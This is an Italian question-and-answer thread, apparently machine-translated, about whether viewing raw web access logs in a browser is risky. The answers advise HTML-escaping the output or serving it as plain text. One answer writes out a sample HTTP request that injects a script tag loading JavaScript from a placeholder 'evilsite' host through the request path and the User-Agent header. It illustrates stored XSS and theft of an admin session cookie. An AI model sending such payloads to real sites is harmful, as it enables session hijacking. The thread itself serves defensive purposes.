È pericoloso visualizzare il registro di accesso senza disinfettare tramite browser web?

Question

È pericoloso visualizzare il registro di accesso senza disinfettare tramite browser web?

Sto considerando di registrare il registro di accesso e sto pensando di visualizzarlo tramite il browser wev, ma se l'attaccante modifica il suo host o agente utente remoto o qualcosa del genere, può attaccarmi?

Inserendo codice di attacco nel suo host remoto o user agent o ect.

Quindi ho bisogno per sanificare da htmlspecialchar prima di aprire il file di log di accesso tramite browser web?

intendo attaccante inserire del codice attaccare nel suo host remoto o user agent o someware, poi vedo che log di accesso tramite browser web, quindi il mio PC sarà influenzato quel codice.

Answer 1

probabilmente vuoi un po 'la formattazione HTML per l'uscita e quindi devono sterilizzare/codificare i dati di log. Ma per il bene degli argomenti: se si invia l'output come testo/plain il client non dovrebbe analizzare alcun html/javascript.
E.g. l'output di

<?php 
header('Content-type: text/plain; charset=utf-8'); 
echo '<script>alert(document.URL);</script>';

viene visualizzato come

<script>alert(document.URL);</script>

(almeno in FF3, IE8, opera, safari).

Answer 2

Teoricamente è possibile, sì, e si dovrebbe lodare te stesso per avere la mentalità giusta per pensare in questo modo. Sanificare qualsiasi input non controllato prima di visualizzarlo in un browser Web è sempre una buona idea.

vorrei correre l'output del registro attraverso htmlspecialchars().

Answer 3

Sì, questo è pericoloso.

Ad esempio, un utente malintenzionato può semplicemente chiedere qualcosa di simile:

GET /<script src="http://www.evilsite.com/malicious.js"></script> HTTP/1.1 
Host: www.example.com 
Connection: close 
User-Agent: <script src="http://www.evilsite.com/malicious.js"></script> 

e compromettere la vostra pagina di visualizzazione con JavaScript dannoso.

Dal momento che probabilmente stai visualizzazione del registro sul tuo sito, devi essere loggato come un account con diritti amministrativi. Con il codice JavaScript dannoso, l'attaccante può rubare il cookie di sessione e prendere in consegna la sessione, completo di tutte le cose che potete fare mentre si è connessi.

Quindi, in conclusione, si dovrebbe sicuramente pagine di registro accesso di fuga, a meno che ti piace avere i tuoi account amministrativi compromessi.